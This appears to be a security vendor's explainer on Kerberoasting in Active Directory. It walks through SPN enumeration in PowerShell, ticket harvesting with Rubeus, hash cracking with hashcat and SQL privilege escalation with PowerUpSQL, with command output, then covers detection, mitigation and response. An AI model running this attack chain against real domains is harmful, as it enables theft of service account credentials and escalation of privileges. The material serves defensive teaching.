Kerberoasting

Kerberoasting abuses traits of the Kerberos protocol to harvest password hashes for Active Directory user accounts with servicePrincipalName (SPN) values (i.e. service accounts). A user is allowed to request a ticket-granting service (TGS) ticket for any SPN, and parts of the TGS may be encrypted with the with RC4 using the password hash of the service account assigned the requested SPN as the key.

An adversary who is able to extract the TGS tickets from memory, or captures them by sniffing network traffic, can extract the service account’s password hash and attempt an offline brute force attack to obtain the plaintext password.

Threat Summary

Target:

Active Directory

ATT&CKĀ® Tactic:

ATT&CK Technique:

Difficulty

Detect:

Medium

Mitigate:

Hard

Respond:

Medium

How Kerberoasting Works

Hover to see each step

Step 1: An adversary may target specific service accounts to Kerberoast if they first conducted internal reconnaissance to find service accounts with privileges they desire. Or, an adversary may Kerberoast as many accounts as possible. In either case, the adversary needs to enumerate the servicePrincipalNames for the service accounts they wish to Kerberoast.

An adversary can use LDAP to query Active Directory for any user accounts with defined SPNs. In this example, the adversary is casting a wide net and is querying Active Directory for all user accounts.

#Build LDAP Filter to look for users with SPN values registered for current domain
$ldapFilter = "(&(objectClass=user)(objectCategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
$Results = foreach ($result in $results)
{
$result_entry = $result.GetDirectoryEntry()
 
$result_entry | Select-Object @{
Name = "Username";  Expression = { $_.sAMAccountName }
}, @{
Name = "SPN"; Expression = { $_.servicePrincipalName | Select-Object -First 1 }
}
}
 
$Results
Username        SPN
--------        ---
ServiceAccount1 http/webserver1
ServiceAccount2 cifs/appserver2

Step 2: After completing the enumeration of service accounts and SPNs, the adversary then requests Kerberos ticket-granting service tickets for the services, extracts the hashes from memory, and saves them for later offline brute force. Tools such as Rubeus fully automate the process.

PS> .\Rubeus.exe kerberoast /simple /outfile:hashes.txt
 
[*] Action: Kerberoasting
 
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
 
[*] Searching the current domain for Kerberoastable users
 
[*] Total kerberoastable users : 2
 
[*] Hash written to C:\Tools\hashes.txt
 
[*] Roasted hashes written to : C:\Tools\hashes.txt
 
PS> Get-Content .\hashes.txt
 
$krb5tgs$23$*ServiceAccount1$domain.com$http/webserver1*$45FAD4676AECDDE4C1397BFCED441F79$DEB234D8A44B2ACD16F31F3ED42B54226E2D72890870966AB5158FFC5B2EC2B4A5D956BDB157A725E6E3A4A800F626D17BB3B6FE62CDF2BAD53EA337A5E8CC6627B8CB6A32B18B914B48D95C6544C9F57C83BEF4726224507002367AA868C76854138E6A7419376343DD5131614C7B97EBC73087312EBA06FF4B067DD261AECADDDB3118C4BDDCC662AAC91C0BEBA082197D4A48E172DBE5F5A4B5DB94B1FF6EED0968243010241B7F1588E2924E631C36915E055E1A364727B79F171F2A5150E544334F5F8D1A7980645F04F4794F2EF5FECA23A9D7EEB5A38490E1A56BAB4C17A6F7B009121E405C41A22B11F4980760A3F1D2D80B52FCD3C1CF60B09C54C77BF7D08BFCF40D90498600958D56BA704EAA2101A17AA5A2A1CCA8A90752C68A1E427757A10603DC8EA62CC03196595BEC2667DA096ECDB8E5F0D11963FD52558E06F3489378B596E26F638DBB738AA214F7282B1970023D7995597651B5BB7FDCF414C53BDF791C569EB8E45B6BE36F49E87080177211ADC3D4F53F0D109A9718497E18E85FDD5C3AD376AFD95372674C318C9E690BC8A6C75DD888BCC8129F15EE7D1C625951C979B97E21538619ABA93D9DD5E32D7549A2ED3406E42F21BD9535759B92F48BC767FC1A327E0F3CAC7ACCE2AB577E2E4103F6F8DE737AB80E1A177F50B6405B05EFD5004006F99548725D785E95498DCBE85F1B6409FE2F43FE0AF185CF8E4AE3E8E581B26FC0C485380BE8811347492004BC9C733EDCA31E538796AC0F908F5487A83478D271A6ADEBF4B816207E745E84B9009F4ACC77872DF0F3D9CE327DB25AA3408823CC5F139E7D12C115BDB487E4D531CE7374E1C90ED9F732E4EA04FF0EB4B84F323A98B95951AE2AAA98735522BC51596F17B5050B4F74045195C6FDC748E1EA4BE35C4DE8253077CA1F659BECC45E87663965073A5EE8D86B042A37ACC16EF64014D7E0DC8CC505CA7F8727F00D0D046805B9F8D5BCC6FF5368B5D6758F4F1A33F26C3C3D91C2359256B19292E02536153062DC3E7FC153AD6607D695BCB0DF66A88653E495C17FD2EB091274947AB4F31C8B756FFC9F40EBF0B661E54C31ABC1E5BE66E6C37807CE17BB1AA4E2ED5D4DE70E90DF602542BFD0A1A4B149F060496F09F0E03E1814A3AAE19A23195859F82C778324FE491024FF63BBB919F958447936B1DACD294B122EE0E85C2374C1192555C0C1CD66D877AF1A77826BE42017B75A5441822E9DAAD7C02366DD5907DD1517A4AEFBAB8F8ECCD1AE1910AB17E40E1E87E288250EE468F0D0AC81C36ACC9AF3524DBEA9DDFB8C08DF0872F4C01574798F28E8017AC5799D9773BDE87A2D6682F9C76493BD738E177E68F20D4310B5AA09D4672BC6C5B0FFB60F5F2A178D7C0EF8477E9B4F9194C5AB350DFA9568C5448BDB85C09A1E623DD683FBFE817004A6C188DE29699A4F85DE3D6075E7022B6CE9E744E518AA4CCB56F876047E4E07A94F99BC8AF68BD9E0FD256EBAD615BB8B4DFB89CFC7E5D2E2D71F07D9F67DDCFE72AD7B24EFD29EF5FF90A21E970011C11CDBC5D754382D359B775CFAD7FAD5FFB35FFB38EB4A1DEF06B331EF549478E7A227C39E49ED82C737EC4A23A4073AD816C2243BD88A7F5983B3
# ... output truncated ... #

Step 3: Now that the adversary has obtained a list of password hashes, they need to brute force (“crack”) the plaintext password. This brute force attack happens offline, meaning no more communication with Active Directory needs to occur. As a result, this step is undetectable. An adversary may even exfiltrate the list of hashes and use a high-performance system dedicated and designed just for password cracking. Tools such as hashcat are used to perform the offline brute force attack. Dictionaries of common passwords can be used, which can help expedite cracking when common or weak passwords are used. The SecLists repository maintains a number of example dictionaries.

PS> .\hashcat.exe -m 13100 -o cracked.txt -a 0 .\Hash.txt .\wordlist.txt
...
 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*USER$DOMAIN$http/webserver1*$e556af133...b80b25
Time.Started.....: Thu Jul 23 18:58:36 2020 (0 secs)
Time.Estimated...: Thu Jul 23 18:58:36 2020 (0 secs)
Guess.Base.......: File (.\wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    97694 H/s (0.26ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 100/100 (100.00%)
Rejected.........: 0/100 (0.00%)
Restore.Point....: 0/100 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> taylor
Hardware.Mon.#1..: Temp: 47c Fan: 34% Util: 32% Core:1265MHz Mem:2504MHz Bus:16
 
PS> Get-Content .\cracked.txt
$krb5tgs$23$*USER$DOMAIN$http/webserver1*$e556af133a0ca7f310381a7294099034$53db15e3d6211b716229530340031738ba46384e304de689a9303c218c1a2199e398df6fced43647c8f0e0cbf805b277ce78c70b0af34edc9c8ca15fa488cbe455771be3c0fd1cae22322ba60bed2aa4a033a7d9d40b2d61c65f10648f061c0d77d42870e6841635b3afe90df0cfc644f0797188c5bf5486e4529af8aff7f0e9e792b550623c1054250496272673d875eb6ede6f6f3e360ee0d9f173073c92ea7b2ec39a1012bd7c24e861eec4cc29c7b67ed8969f981559f19532ca8beb4edbbd4c5edc7c405158a04974bd767490b4a5895db36fa85fa24bf89cd9b4927b4b07e19516a2e6beb18aa71e5a04b2f157e1c24e26102d1855f76c2f17c9c79264774d3a67e1dd859d190e59ea29f3b82605c599160f3d5dd3830485675329e5e6ddf4b4f5ecba7e101256e1bf15b85f2f294ef90eb7bd8849f51fd120c33682006e75c87f1e04b42f79bc702a8879f4513f38dcf0ba209ebddeebaac06e751c578b02144f670408d3c66720c3312524e44d46ff7ad127cb96acc03afadee97d8a4f5fc15139998025a314559a160b274d373e9d08554e5a49397d0ae048a0437144956e3e6e50efee9b3ac2e4aeb779a4e4419571076400d716bd09d81eca1bcf392ab8f7d5cec47b44ab6be64d389fe45f1511fdef7d89baa4dc5eac18947b2dcc9458a6a8c02b4ea3e5a4309c5dec905638e32ee77158f861564660f6568455834c0622a8cb2db482603bc31501f1c7eb0c9e3c96dcd09ca055bd8f255436330d7ad6b433c6a4faee5c18d1e5ba13ca1225a9b6d71334c1b2d2482f207bdfb73373de8c48dedf68d8b7e5f042f139ba808a186d09d7f7283d25ab59f9255060e49db4f1a0358e15ea0448399b28b2c58758a968a825565b6b9cd362aba4f6dba7a882b14e983e55ba244eb4ca7496e74f8fe9a53485cde9309686120d5e9ec1d1d1b77e4d99f6334c4a674927e1b6b5086d7069f2119b1f63398deba1ae209d83135b2f5bdf094bea2990243eb96c360b272fd0738dcdc94cbc854f7543bbad5cc0d9344e2ccf7a269cf0fad223f6a60fe31d4abbde5710ce6f1b77ff510492781699631369dfdef853045131eaa711b4d02fa1f4f3a8f7e2dfb1b8752ba1e57bf63aac36d1e37c34aa4ed9446e206729f803b45fbc38452adec2989d383172b0b7948d2ab26c24d8aeb7175dc4f133999c4206564a833c49c288039faa0c1899bfd0a5331da87b5612397ee283bd70b2c77156c54f4c96b08ec7b2e7d93b80eed44102e467d26dcfe8433d3afdbe5c04768913f503aaf3f410c8c0abb415d9f5c4f3fd276e23bb7637970983fa0cc85c6b7fd54fb8c715c94e51573eb469a781125c30735e0cc996069a4c708a458952cabf0030614f32f5a0555de2302a20dd864df969ef534b2de1608d9675581ea4c590973f0c9c84ca56e2a34c3427a08ee06827133b75a97a03ec0b5a0ed814a9bd897732dc10e15c3dcf16d67d7790449df40e8b35dee6f40008029d9bc4adbe073755a9429684631c7c790b0855187cfc16cf358a8099ffaceb4836ed1b026756c21d93da72b4aeaf62ff7ce20caf30451416aef2e68812ac1888c02f62d6c5f3500d92119eddc0d01d2548af55cbb5af3fc52adbb80b25:P@ssword!23
 
# ServiceAccount1 has a password of: P@ssword!23

Step 4: Having obtained the plaintext password, the adversary can use the credentials to authenticate to any resources the service account has access to, potentially allowing them to compromise data or escalate privileges. In this example, the attacker uses the credentials compromised from the webserver to authenticate directly to the database it accesses, and then exploits configuration vulnerabilities to escalate their privileges to a database administrator.

PS> runas /netonly /User:ServiceAccount1 powershell.exe
Enter the password for ServiceAccount1: P@ssword!23
 
PS> Import-Module .\PowerUPSQL
PS> $SQLServers = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-object { $_.Status -eq "Accessible" }
PS> $SQLServers | Get-SQLServerInfo | Select-Object Instance, IsSysadmin -Unique
 
Instance        IsSysadmin
--------        ----------
SQLServer1      No
 
PS> Invoke-SQLEscalatePriv -Instance SQLServer1 -Verbose
VERBOSE: SQLServer1 : Checking if you're already a sysadmin...
VERBOSE: SQLServer1 : You're not a sysadmin, attempting to change that...
# ... output truncated ... #
VERBOSE: SQLServer1 : Success! You are now a Sysadmin!
 
PS> $SQLServers | Get-SQLServerInfo | Select-Object Instance, IsSysadmin -Unique
 
Instance        IsSysadmin
--------        ----------
SQLServer1      Yes

Detect, Mitigate, and Respond

Difficulty: Medium

It is possible to detect several aspects of Kerberoasting by monitoring the Windows event log for anomalous ticket-granting service (TGS) requests. Event IDs 4769 and 4770 in subcategory Audit Kerberos Service Ticket Operations audits all TGS requests and renewals. These events should be examined for:

  • Use of RC4 encryption: As RC4 is considered a weak algorithm, TGS requests and replies including an encryptionType of 0x17 (rc4-hmac) are suspicious. RC4 hashes can be more easily brute forced than AES, and an adversary may attempt to explicitly request RC4 for this purpose.
  • Abnormal volume of TGS requests: Adversaries casting a wide net, or running Kerberoasting tools with default configuration options may trigger a large number of TGS requests than normally observed for a given user. Establishing a baseline for TGS request volume and detecting deviations from it can be a valuable signal of Kerberoasting.

Additionally, establishing a Kerberoasting honeypot (e.g. a user with defined SPNs that isn’t actually used) can increase your ability to detect early reconnaissance and actual Kerberoasting activity.

Difficulty: Hard

As we’ve demonstrated, Kerberoasting can lead to the compromise of sensitive service account passwords. However, several mitigations exist that greatly reduce or even eliminate these risks.

  • Reject authentication requests not using Kerberos Flexible Authentication Secure Tunneling (FAST) (also called Kerberos Armoring), a pre-authentication extension that establishes a pre-authentication secure channel between the client and domain controller, and is designed to better protect Kerberos tickets from offline password cracking attempts. While enabling FAST can eliminate the risk posed by Kerberoasting, it can be challenging for organizations to rapidly enable and enforce.
  • Eliminate the use of insecure protocols in Kerberos. While entirely disabling RC4 is another large undertaking, it is possible to configure individual service accounts to not permit the RC4 protocol. The attribute msDS-SupportedEncryptionTypes can be set to 0x18 (decimal 24) to enable only AES128 and AES256. This has the added benefit of increasing the sensitivity of the detection — if RC4 is observed in a TGS request then it is more strongly a sign of malicious activity.
  • Adopt strong password hygiene practices for service accounts. Their passwords should be randomly generated, a minimum of 30 characters, and routinely changed.
  • Where possible, adopt the use of group Managed Service Accounts (gMSA). The passwords (256 random bytes) for gMSA’s are generated and frequently changed by Active Directory, removing this burden from administrators.
  • Audit the assignment of servicePrincipalNames to sensitive user accounts. For example, members of Domain Admins should not be used as service accounts (and therefore not have SPNs assigned).

Difficulty: Hard

If Kerberoasting is detected, there are several response actions that should be taken:

  • Activate the incident response process and alert the incident response team.
  • Quarantine any implicated computers (e.g. the host that requested service tickets) for forensic investigation, as well as eradication and recovery activities.
  • Reset the password for the user performing the Kerberoasting.
  • Reset the password for any service accounts for which TGS tickets were requested. Priority should be given to privileged accounts.